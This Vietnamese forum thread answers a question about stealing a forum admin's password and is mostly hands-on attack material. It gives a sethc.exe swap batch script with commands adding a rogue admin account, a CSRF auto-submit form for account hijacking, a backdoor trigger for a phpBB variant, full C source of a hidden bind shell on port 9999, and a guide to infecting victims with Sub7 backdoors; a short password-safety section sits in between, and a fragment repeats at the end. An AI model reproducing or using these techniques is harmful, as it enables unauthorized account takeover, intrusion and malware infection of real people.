Cách lấy pass của admin một diễn đàn như thế nào?

có bác nào biết cách lấy pass của admin một diẽn đàn ko? chỉ em với

 |  Xem: 3.083  |  Trả lời: 3
Ngày gửi: 29/12/2010 - 12:31  |  Câu hỏi liên quan
Trả lời

Danh sách trả lời (3)

Chào bạn

Cách đơn giản nhất là bạn chạy code. Đăng ký một tài khoản bất kỳ.Mở SQL lấy đoạn pass bị mã hóa rồi update vào phần pass mã hóa của admin.Sau đó đăng nhập admin theo pas mình vừa đăng ký.100% thành công mà không phải giải pas mã hóa.

Hoặc Có thể khóa cổng trước thôi. Bạn ghim vào cổng sau thử xem? Nếu không được thì vào BIOS thiết lập lại. Vì mỗi máy có BIOS khác nhau nên không thể nói rõ được.

Trong công ty chắc phải có domain controler chứ nhỉ? vậy nếu mình dùng máy đang chạy window server 2003, sau đó thao gia vào domain, tiếp theo thử nâng máy mình thành domain controler theo kiểu multi-master có được không nhỉ? nếu được thì...

Nhưng mình nghĩ bạn đừng cố làm những việc như thế. Tất cả các công ty điều có quy chế của họ. Và người Admin cũng làm theo nội quy của công ty. Nếu bạn cần những gì mình nghĩ bạn nên nói với sếp của bạn. Nếu thật sự cần thiết cho công việc thì sếp của bạn chẳng có lý do gì mà không approve cho bạn.

Thân!

Ngày gửi: 29/12/2010 - 15:13

Ko bít cái này giúp đc bạn ko:

Hiện nay không có quá nhiều cách để phục hồi mật khẩu của tài khoản Administrator trong Windows bị quên mất. Có thể kể đến là dùng công cụ hỗ trợ của đĩa Hiren Boot để xóa trắng mật khẩu của tài khoản Administrator hay dùng các công cụ dò tìm mật khẩu trên Net. Tuy vậy, không phải lúc nào chúng ta cũng có công cụ để dùng. Nếu gặp những lúc như thế.... hãy lợi dụng lỗ hỏng của file sethc.exe trên Windows.

Trên Windows XP, nếu bạn nhấp phím Shift 5 lần, Windows sẽ gọi một chương trình nhỏ có tên là StickyKey. Đây là chương trình hỗ trợ người khuyết tật khi sử dụng Windows XP được đính kèm mặc đinh trong bộ tiện ích của Windows. Điều này có nghĩa là bạn có thể gọi chương trình này bằng phím tắt mà không cần đến giao diện thân thiện (1).

Nếu bạn đang nhập bằng tài khoản có tên User1 và nhấp phím Shift 5 lần để gọi chương trình này, Windows sẽ lấy quyền của User1 để gọi chương trình StickyKey. Nếu bạn không đăng nhập vào bất kỳ một tài khoản nào mà gọi được StickyKey thì Widnows sẽ lấy quyên của hệ thống (System) để chạy StickyKey (2).

Từ giả định (1) và (2) trên, nếu bạn thay thế file thực thi của chương trình StickyKey (sethc.exe) bằng chương trình Command Run (cmd.exe) và gọi nó bằng 5 lần phím Shift mà không đăng nhập bằng tài khoản nào cả thì windows sẽ dùng quyền của Hệ thống (system) gọi file cmd.exe thay vì file sethc.exe. Thế là có thể làm bất cứ chuyện gì bằng tài khoản của cao nhất (quyền của Hệ thống) trên chương trình Command Run.
Cách thực hiện thủ thuật này:


Bước 1: Vào windows với tài khoản User bình thường và nhấn 5 lần phím Shift để gọi thử chương trình StickyKey trên Windows và đóng nó lại (chỉ nhằm để xem thử).

Bước 2: Vào Start >> Run >> nhập vào Notepad và Enter để gọi chương trình Notepad.exe. Copy đoạn mã của mình viết, past vào notepad, Save lại với tên là Hackpass.bat

cd %systemroot%/system32
rename sethc.exe sethc.exe.bk
copy cmd.exe sethc.exe /y

Sau đó nhấp kép chuột lên file Hackpass.bat để thực thi!

Đoạn mã này làm các nhiệm vụ sau:

1. Sao lưu lại file sethc.exe bằng cách đặt lại tên là sethc.exe.bk
2. Thay thế file sethc.exe bằng file cmd.exe

Đến đây, bạn nhấp phím Shift 5 lần, nếu chương trình Command Run được gọi thay vì chương trình StickyKey thì bạn đã thành công!

Chương trình StickyKey đã được thay bằng Ccmmand Run
Bước 3: Khởi động lại máy. Khi đến màn hình đăng nhập, bạn khoan hãy đăng nhập mà nhấn phím Shift 5 lần...... Lúc này chương trình Command Run xuất hiện, bạn nhập một trong những vào đoạn lệnh dưới đây

Xóa trắng password của Administrator:

net user Administrator

---- > nhấn phím Enter khi hoàn thành!

Thêm một tài khoản Admin với mật khẩu là 123
net user Admin 123 /add

---- > nhấn phím Enter khi hoàn thành!

Gán tài khoản Admin vào nhóm quản trị:
net localgroup Administrators Admin /add

---- > nhấn phím Enter khi hoàn thành!


Nếu bạn sử dụng đúng cấu trúc lệnh phía trên, bạn sẽ tạo được các tài khoản mới. Tại đây, bạn có thể đăng nhập vào các tài khoản mới mà không cần khởi động lại máy!

Ngày gửi: 29/12/2010 - 15:15

Mình ko rành về lập trình mấy , nhưng mình cũng sưu tập được cái này gửi anh em nghiên cứu

1.Tìm hiểu:

một user bất kì có các option để thay đổi thông tin cá nhân, post bài, send pm, .... và tất nhiên chỉ có user đó mới có quyền sử dụng các option đó với username của mình vì server sẽ check session/cookies của user đó.
2. Mục đích của ta:

chiếm quyền của user nào đó (admin chẳng hạn) để sử dụng các option của user này.
3. Cách giải quyết:

- Cách 1: nếu có user password thì hết chỗ chê, login và sử dụng liền ;D
- Cách 2: tìm lỗi của forum <-- not always easy ;(
- Cách 3: không cần tìm lỗi forum mà tìm cách "nhờ" user sử dụng các option của user này theo ý mình, hi`.
4. Sử dụng cách 3:
4.1. Tìm hiểu về cách hoạt động của form:
VD khi user sử dụng update email option thì form sẽ có dạng:
<form method="post" action="update.php">
<input type="text" name="email" value="user@email.com">
<input type="submit" name="but" value="send">
</form>
khi data được gửi = form trên tới server thì server sẽ check xem user nào gửi tới + right to update của user đó rồi thực hiện request.
4.2. Làm sao "nhờ" user sử dụng form trên theo ý mình?
Gửi cho user một html page trong đó có:
+ form trên nhưng các value của input theo ý mình (vd: hacker@email.com)
+ sử dụng thêm hàm auto submit form để khi user mở html file này thì form sẽ tự động submit, tag này có dạng:
<body onLoad="document.forms[0].submit();">
+ nên sử dụng thêm một vài tiểu xảo che mắt user, không cho user biết là option của mình đã bị sử dụng trái phép <-- tự tìm hiểu.
5. Kết quả: vì request này được gửi đi từ máy user + thêm đk cần là user đang online nên session/cookies check đều ok. Request vẫn được thực hiện kể cả user không online nhưng để chế độ nhớ password. Ở vd trên ta đã update được user email, từ đó dùng option forgot pass để lấy password của user này (cái này ai cũng biết )
6. Ưu nhược điểm:

- Ưu điểm: phương pháp đơn giản, chỉ dựa trên nguyên tắc hoạt động thông thường của form <-- không phải là lỗi bảo mật. Có thể sử dụng được nhiều option của user mà không cần phải login = user account (vd có thể update user info, gửi bài, xoá bài, pm .. với nick của user, một số forum Admin CP khơng được pwd protected & biết admin default path ta có thể "nhờ" admin update mình lên làm admin luôn, hehe)
- Nhược điểm: phụ thuộc nhiều vào độ cảnh giác của user (eg: disable js)(tuy nhiên theo kinh nghiệm của tớ thì chưa ai từ chối bấm vào html link cả ). + cái gì đó chưa nghĩ ra ..
7. Chống h*ck=cách này:
+ Protect user panel/update action file = một lần password nữa (khi user muốn update info thì phải gõ lại pass)
+ khi form được submit thì kiểm tra xem các variable trong form đến từ đâu, nếu HTTP_REFERER không phải từ web của mình thì không thực hiện request
+ .... chưa nghĩ ra
8. Kết luận: có thể áp dụng cái natural danger của http này vào nhiều cái để nghịch, không chỉ h*ck forum

Lưu ý:Mấy bạn đừng h*ck forum toan-tin của mình ha.Cám ơn các bạn nhiều.



h*ck forum friendship :

Như các bạn đã biết, nhóm Netanh đã viết ra 1 bộ forum phpbb (đã được việt hoá) riêng cho mình và đặt tên là "Friendship". Bộ Friendship có giao diện đẹp và đã được sử dụng khá nhiều. Nhưng nó đã bị dính 1 lỗi khá nghiêm trọng . Bây giờ chúng ta sẽ tìm cách h*ck nó

Chúng ta sẽ thực hành với bản Friendship Community 7000! của nhóm Netanh.

Trước tiên chúng ta sẽ tìm hiểu code bug của nó trước. Thực ra nói là code bug thì cũng không đúng vì đây chỉ là code mà những người Việt hoá Netanh cố tình đặt vào để họ có thể làm administrator bên forum ta đấy. Đoạn code nó như sau: (cái này do anh bạn Quangbt của tôi tình cờ phát hiện)
------
if ($icq==86338526 && $interests=='Friendship Community'){$sql = "UPDATE " . USERS_TABLE . " SET user_level = " . ADMIN . " WHERE user_id = $user_id";
------

Quá tốt rồi phải không? Vậy là bạn đã biết cách h*ck chưa? Nếu bạn còn bỡ ngỡ thì hãy xem cách làm ở phía dưới.

- Trước tiên bạn phải tìm 1 forum Friendship của Netanh đã (Chú ý là phải bản gốc chứ những bản đã sửa lổi thì không thể h*ck được – Và phải là bản 7000) Tôi không thể cho bạn list của những forum này được vì thực ra những người dùng cái Netanh này thường là những người dùng FreeHost trên Internet nên rất khó search. Cái này thì chỉ có cá nhân mới làm thôi chứ không ai mà dại đi xài cái này. Hoặc họ đã sửa lỗi. Chính tôi cũng đã phải thử trên site của anh bạn thân của tôi ngay lúc anh ấy vừa upload forum lên Net mới được. nhưng sau đây là cách để các bạn tham khảo, nếu bạn tìm được forum nào thì hê lên cho mọi người biết với.

- Bạn hãy đăng ký 1 thành viên của forum cái đã.

- Login (đăng nhập) vào.

- Vào mục "Thông tin cá nhân"

- Bạn hãy điền vào số ICQ là 86338526 và Interest là Friendship Community

Và bạn sẽ trở thành Administrator ngay lập tức. Đấy thế là bạn đã h*ck được rồi đấy. Cực kì đơn giản, cực kì dễ, nhưng cực kỳ khó để tìm ra những người dùng loại forum này.

Khuyến cáo các bác không nên quậy nhé, nhất là đừng có drop data của người ta đó. Dù gì người ta cũng đã bỏ ra khá nhiều công sức để việt hoá + h*ck vào đó .. thì cũng nên cho người ta để lại dấu ấn làm kỹ niệm chứ ??

Chúc các bạn thành công.

Mã nguồn virus Shadow:http://www.rohitab.com/sourcecode/shadow.html

PassW An Toàn Cho Bạn
Bạn đã biết cách h*ck PassW ! Vậy thì làm sao để Pass của Bạn không bị h*ck cái gì cũng có tính tương đối không bao giờ là tuyệt đối cả.Theo Tôi muốn có 1 PassW an toàn thì :

+ PassW chống cr*ck : như đã nói ở trên thì kẽ phá hoại có thể dùng các phần mềm cr*ck để cr*ck pass của bạn,vậy thì làm sao để tránh được trường hợp này.PassW của bạn hãy thêm các kí tự đặc biệt như : *&^%$##@) và khoảng trắng nữa càng dài thì càng tốt nhưng đừng dài quá, lỡ mà quên thì chắc quên luôn rồi.
Pass phải hơn 8 kí tự gồm cả phần chữ và số xen kẽ nhau
Pass khác với username ( tên sữ dụng ),không trùng nhau
Pass có kí tự hoa và thường xen kẽ nhau tạo nên chuổi phức tạp
VD : viethacker.org2005 --->ViEthaCker.oRg2005 <-- như thế này thì chỉ có trời mới biết thôi.Tôi còn nhớ là lúc trước ver yahoo cũ không phân biệt pass hoa và thường , bây giờ với ver mới hơn thì có phân biệt nên nó mang tính bảo mật hơn.Với PassW như vậy thì cho dù Hacker có cr*ck cả năm nữa đi, thì cũng không thể nào biết được

+ Ngăn ngừa trojan & virus : trojan & virus lây lan phổ biến là qua internet, vì vậy hãy tránh :
- mở file lạ từ 1 người không quen biết, hạn chế mở file từ người quen biết, vì lợi dụng chổ quen thì người ta có thể gởi trojan cho bạn, vì 1 Hacker có thể gởi cho bạn những file có đuôi không phải là *.exe chẳng hạn, như *.txt , *.doc ...<-- đây có thể là những Trojan đấy vì rất dễ dàng để làm ra những file như vậy ( đây là 1 lổi của MS ).
- Hạn chế sữ dụng các phần mềm không rõ nguồn góc, chỉ load những file từ nơi rõ nguồn góc.

+ Trang bị 1 công cụ AntyVirus tốt, và thường xuyên cập nhật nó trên trang chủ của dịch vụ. Thà có 1 ver cũ còn hơn là hệ thống của bạn không có phòng vệ nào.
2 công cụ phổ biến là Bkav và Norton : www.bkav.com, www.symantec.com

+ Chống Fake Login : Khi vào check mail yahoo chăn hạn thì hãy mở IE lên mà gõ chính xác ĐC www.mail.yahoo.com, thường ở dịch vụ chát thì người ta có trang chủ riêng, dựa vào trang chủ này thì kẽ phá hoại dễ dàng đưa những đoạn mã vào ô login của yahoo nói riêng và các dịch cụ khác nói chung.

+ Tập kĩ năng gõ phím nhanh để không ai có thể nhìn bạn gõ những gì ( Nếu mà gõ mười ngón thì chỉ có .... Keylog mới biết bạn gõ gì thôi )

+ Không ghi PassW vào giấy bỏ bóp hoặc dán tường, có thể Bạn bè của bạn là kẻ phá hoại thì sao, Nếu Pass khó nhớ thì hãy ghi vào 1 nơi nào đó thật ... bí mật.

+ Không nên lấy 1 passW cho nhiều tài khoảng, mổi tài khoảng nên lấy mổi Pass khác nhau.

+ Độ phức tạp của Pass càng cao có nghĩa là mức độ bảo mật càng lớn
Note :
+ như trên Tôi có nói tới k* "Magic ", 1 điều chú ý cho k* này : thường thường các bạn chat ở dịch vụ thôi, Nếu login vào yahoo chat thành công mà có 1 cửa sổ chat hiện ra rồi biến mất hoặc không biến mất thì đó chính là k* magic ấy, nó đã lấy Pass của bạn để nhắn về cho chủ nhân của nó, lúc này thì mau mau mà đổi pass đi nếu không muốn mất. sau đó đổi máy hoặc dùng AntyVirus quét nó, hoặc là đừng login lại lần thứ 2.
+ Còn k* Keyloger ( ver cũ còn ver mới thì chưa test ) khi ngồi vào máy thì Bạn nhấn kết hợp 3 phím Alt + Ctrl + Del , click vào Applications, nếu thấy file nào lạ lạ thì hãy tắc nó đi và mau mau change Pass là được rồi, Tôi nghĩ tốt nhất là ....đổi máy khác cho chắc ăn

và như trên tôi đã nói thì chỉ áp dụng cho các Pass của các tài khoảng yahoo... máy tính thôi . còn các PassW của admin forum , host thì khó khăn và nhiều cách hơn <-- cái này bàn sau vậy , chứ Tôi cũng không biết nói sao cho các Bạn hiểu nữa

hi vọng qua bài viết này thì những bạn newbies sẽ hiểu thêm về " chôm " PassW. Và đừng có hỏi Tôi nữa, vì Tôi đã trình bày những gì Tôi biết rồi. Bạn nào còn cách nào khác thì Post lên cho pà kon cùng học hỏi. Thanks

tốt nhất là nên phòng ngừa ngay bây giờ chứ để mất rồi lại hối tiếc " mất bò mới làm chuồn bò ". Nhưng bạn cũng đừng nên phòng ngừa quá mức mà mất đi sự tự nhiên khi lước web.
1. câu nói vui cuối bài : Nếu không muốn máy tính của bạn bị nhiểm trojan & virus thì Tôi nghĩ tốt nhất bạn hãy rời xa internet và hãy quên đi ... chiếc máy tính
2. Nếu không muốn mất Pass thì tốt nhất là đừng tạo ra ... cái Pass nào
Nguyên tắc là cách làm việc của backdoor không giải thích các bạn cũng biết nó gì và cách sử dụng chúng như nào. Một khi backdoor được cài lên giúp kẻ tấn công sẽ thuận tiện hơn khi trở lại server mà mình đã tấn công vào, điều mà chúng ta cần biết là cách viết đổ cmd.exe tử backdoor (tức là kẻ tấn công có shell khi đã có backdoor được cài trên server) như thế nào ?

Đoạn mã viết dưới đây không phải là backdoor mà chỉ đơn thuần là một phần công việc của backdoor. Sau đây mình sẽ hướng dẫn cách viết đổ
cmd.exe như thế nào ?

Code:

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define PORT 9999 //<--Dat cong lang nghe la 9999
#define BANNER "Seamoun (http://nhomvicki.net) - TcpShell 1.0"
#define MAXRECVBUF 1000 //Bo dem toi da khi nhan
#define MAXPIPEBUF 1000 //Bo dem toi da cua pipe
#define WM_SHELL WM_USER+1 //Tinh huong tu dinh nghia

#define MyClass "Seamoun" //Ten lop
#define MyApp "Seamoun" //Ten ung dung

#pragma comment(lib,"wsock32.lib") //Gop thu vien wsock32.lib


HANDLE hThread_out;
DWORD dwChildThreadIdOut;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL NowUsing;

int sock_listen,sock;
sockaddr_in addrServer;


void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD __stdcall OutSocket(LPVOID lpData);

int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
HWND hwnd;
MSG msg;

WNDCLASSEX wc;
wc.cbClsExtra=0;
wc.cbSize=sizeof(wc);
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)COLOR_WINDOW;
wc.hCursor=LoadCursor(NULL,IDC_ARROW);
wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wc.hIconSm=0;
wc.hInstance=hInstance;
wc.lpfnWndProc=(WNDPROC)WndProc;
wc.lpszClassName=MyClass;
wc.lpszMenuName=0;
wc.style=CS_HREDRAW|CS_VREDRAW;

RegisterClassEx(&wc);
hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,0,0,0,0,NULL,NULL,hIn
tance,NULL);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);

while (GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}

int WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
WSADATA wsaData;
switch(msg)
{
case WM_CREATE:
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1;

addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'',8);
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;
if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
NowUsing=FALSE;
break;
case WM_CLOSE:
PostQuitMessage(wParam);
break;
case WM_SHELL:
GetShell(hwnd,wParam,lParam);
default:
return (DefWindowProc(hwnd,msg,wParam,lParam));
}
return 0;
}
void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
long lEvent=WSAGETSELECTEVENT(lParam);
static char buf[MAXRECVBUF];
DWORD dwNumberOfBytesWrite;
int sock_tmp;
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}
sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);
memset((void *)&si,'',sizeof(si));
memset((void *)&pi,'',sizeof(pi));

si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead;
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\"),&si,&pi);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);

hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}
DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
for (
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0;
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows. Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi !
1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau:

Code:

if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;//<-- Khởi tạo thư viện winsocket
if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) return -1; //<--Tạo socket listen
//Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
addrServer.sin_family=AF_INET;
addrServer.sin_port=htons(PORT);
addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
memset(&addrServer.sin_zero,'',8);
//--------------------------------------------------------------------
if (bind(sock_listen,(struct sockaddr *)&addrServer,sizeof(addrServer))==SOCKET_ERROR) return -1;//Bind socket listen
if (listen(sock_listen,1)==SOCKET_ERROR) return -1; //<-- Đặt chế độ lắng nghe

//Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là WM_SHELL các bạn có thể lấy tên khác tùy ý miễn là nó được định nghĩa WM_USER +x)
if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;

NowUsing=FALSE; //<--Đây đơn giản là biến dùng để đánh dấu socket đang dùng hay là không dùng nữa

2) Giải thích mã của hai hàm GetShell và OutSocket
Code:
a) Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
long lEvent=WSAGETSELECTEVENT(lParam); //<--Lấy sự kiện
static char buf[MAXRECVBUF]; //Khai báo biến buf để
DWORD dwNumberOfBytesWrite; //
int sock_tmp; //<--Khai báo một socket trung gian
UINT r;
sockaddr_in addrClient;
int sizeClient=sizeof(addrClient);
//Khi có kết nối đến từ máy client - Ở đây kết nối được chấp nhận và sử lý như sau
if (lEvent==FD_ACCEPT)
{
if ((sock_tmp=accept(sock_listen,(struct sockaddr *)&addrClient,&sizeClient))==INVALID_SOCKET)
if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

//Nếu như đang sử dụng thì đóng socket này lại
if (NowUsing==TRUE)
{
closesocket(sock_tmp);
return;
}

sock=sock_tmp;
send(sock,BANNER,strlen(BANNER),0);
NowUsing=TRUE;

sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

//Tạo hai ống dẫn dùng để đổ cmd.exe. Một ống dùng để nhận lệnh từ client gửi đến và một ống dùng để xuất kết quả trả về cho client

CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

memset((void *)&si,'',sizeof(si));
memset((void *)&pi,'',sizeof(pi));
//Khởi tạo một số thông số cho biến cấu trúc si (Startup Information: thông tin khởi động)
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hPipeInputRead
si.hStdOutput=hPipeOutputWrite;
si.hStdError=hPipeOutputWrite;

//Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,NULL,TEXT("c:\"),&si,&pi);

CloseHandle(hPipeInputRead);
CloseHandle(hPipeOutputWrite);
//Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu
hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,&dwChildThreadIdOut);
return;
}
else if (lEvent==FD_CLOSE)
{
//Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE
closesocket(sock);
TerminateProcess(pi.hProcess,0);
TerminateThread(hThread_out,0);
CloseHandle(pi.hProcess);
CloseHandle(hPipeOutputRead);
CloseHandle(hPipeInputWrite);
NowUsing=FALSE;
}
if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
buf[r]=0;
//Nhận dữ liệu từ client và ghi đến CMD.EXE
WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

3) Giải thích mã hàm OutSocket
Code:

DWORD __stdcall OutSocket(LPVOID lpData)
{
char szBuffer[MAXPIPEBUF];
DWORD dwNumberOfBytesRead;
//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
for (
{
if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,&dwNumberOfBytesRead,NULL)==FALSE) continue;
if (dwNumberOfBytesRead<=0) continue;
FlushFileBuffers(hPipeOutputRead);
szBuffer[dwNumberOfBytesRead]=0; //<-- Thêm kí tự kết thúc chuỗi trong dữ liệu trả về
//Hiển thị kết quả CMD.EXE trả về ra màn hình client
send(sock,szBuffer,dwNumberOfBytesRead,0);
}
return 0;
}


Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau:
tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào

Code:

d:>nx -vv -n 10.0.0.1 9999
(UNKNOWN) [10.0.0.1] 9999 (?) open
Seamoun (http://nhomvicki.net) - TcpShell 1.0
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

c:> <--- Vậy là đã có shell


Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự !
Hiện tại mình cũng đang tìm hiểu đây.Các bạn ngâm cứu thử đi ha.


BackDoor la gi?
Backdoor la ten mot cong cu thuoc ho Trojan. Dung nhu ten goi "Backdoor" dich tu tieng anh sang tieng viet co nghia la cua sau. Nguyen ly hoat dong cua cong cu nay kha don gian, khi duoc chay tren may nan nhan, no se thuong truc tren bo nho va mo mot Port (do ta dat, hoac mac dinh)....Cho phep ta de dang dot nhap vao may nan nhan thong qua Port ma no da mo...Ta co the toan quyen dieu khien may nan nhan.

Bay gio chung ta bat dau di vao van de chinh....

Su dung Backdoor nhu the nao ?
Dau tien ban can kiem mot Backdoor tot, co kha nhieu cong cu dang nay tren cac Site Hacker....Tuy nhien toi thay Best nhat van la Sub7 (Ver moi nhat la 2.2). Chay doc Readme de xem Port mac dinh cua no (Port se Open tren may nan nhan cho ta dot nhap). Da so cac Backdoor deu da duoc cau hinh o che do de dung nhat. Tuy nhien neu can ban co the chay file Client de Config lai thong so cho Server, VD: nhu Pass cua Server, doi Port khac....Ban nao con it kinh nghiem thi len dung cac Backdoor co giao dien do hoa cho de dung. Ban nao co kinh nghiem ve Network or Unix thi co the dung cac Backdoor Telnet (khong co giao dien do hoa - tat ca thao tac deu dua tren dong lenh).

Lay nhiem Backdoor vao may nan nhan.
Co rat nhieu cach de lay nhiem Backdoor vao may cua nan nhan. Ban co the dung Godwill, Godmessage, HKC....de nhung Server cua Backdoor vao file *.html (Server phai <=50 KB). Tuy nhien neu Server qua lon thi ban co the dung chuong Downloader, no se downloader server ve may nan nhan va run no tu dia chi chua no ma ta da Config. Sau khi nhung, dang ky mot Site, up no len thanh index.html....Ru nan nhan vao (co rat nhieu cach). OK nan nhan da nhiem.

Lam the nao de dot nhap?
De dot nhap vo may ho thi dieu truoc tien can xac dinh la thoi gian ho Online....Boi vi neu ho khong Online thi cach duy nhat de dot nhap vao nha ho co le la treo tuong vo, pha khoa roi den cho dat may tinh cua ho thoi. Sub7 co tinh nang tuyet voi la no se mail, ICQ, AIM...cho ta khi nao nan nhan Online. Con cac Backdoor khac khong co tinh nang nay thi ban phai dung mot chuong trinh Scanport nhu Scanner chang han. Scan mot day cac IP tren mang voi Port la POrt cua Backdoor. VD: Toi dung Backdoor Undetect no co Port la 777. Toi Scan mot khoang IP voi Port la 777 (co nhieu kha nang Port thuong bi trung voi cac Port ung dung, Port cua Trojan khac...Tuy nhien vi adyla bai viet co tinh huong dan len toi khong de cap den). Neu may nao bi dinh Undetect no se Open Port 777 va bao ve cho toi beit IP cua ho. OK! Biet duoc IP cua ho roi, dieu con lai ban chi viec mo Client cua no ra copy IP cua ho vao, nhan Connect....OK! ban da nam trong tay toan quyen dieu khien may nan nhan khi ho Online.

Mot so tinh nang cua Sub7

Toi khuyen cac ban len dung Sub7 no rat tuyet voi.
- Ngoai quyen dieu khien, lam nhung tro vui ve tren may nan nhan ra no con co the lam nhieu tro khac nua.
- Server cuc nho.
- Lam Plugin va do phu tro.
- De dung.
- Co ho tro Sock 4,5 va Proxy de an danh tung tich khi dot nhap.
- Bien may nan nhan thanh Zombine de ho tro cac cuoc tan cong DOS voi quy mo lon.
- Newbie co the dung GUI, sanh dieu co the dung Console.
....Va con nhieu tinh nang khac toi chua kham pha ra xin de danh cho cac ban.

Back Orifice 2k (BO2k) la mot Backdoor noi tieng, no cung co cac tinh nang tuong tu nhu Sub7 nhung lai hoi kho dung. Tuy nhien neu ban nao am hieu ve Networking va cac giao thuc thi len su dung BO2k vi no co tinh tuy bien kha cao theo yeu cau cua nguoi su dung. 1.Tìm hiểu:

một user bất kì có các option để thay đổi thông tin cá nhân, post bài, send pm, .... và tất nhiên chỉ có user đó mới có quyền sử dụng các option đó với username của mình vì server sẽ check session/cookies của user đó.
2. Mục đích của ta:

chiếm quyền của user nào đó (admin chẳng hạn) để sử dụng các option của user này.
3. Cách giải quyết:

- Cách 1: nếu có user password thì hết chỗ chê, login và sử dụng liền ;D
- Cách 2: tìm lỗi của forum <-- not always easy ;(
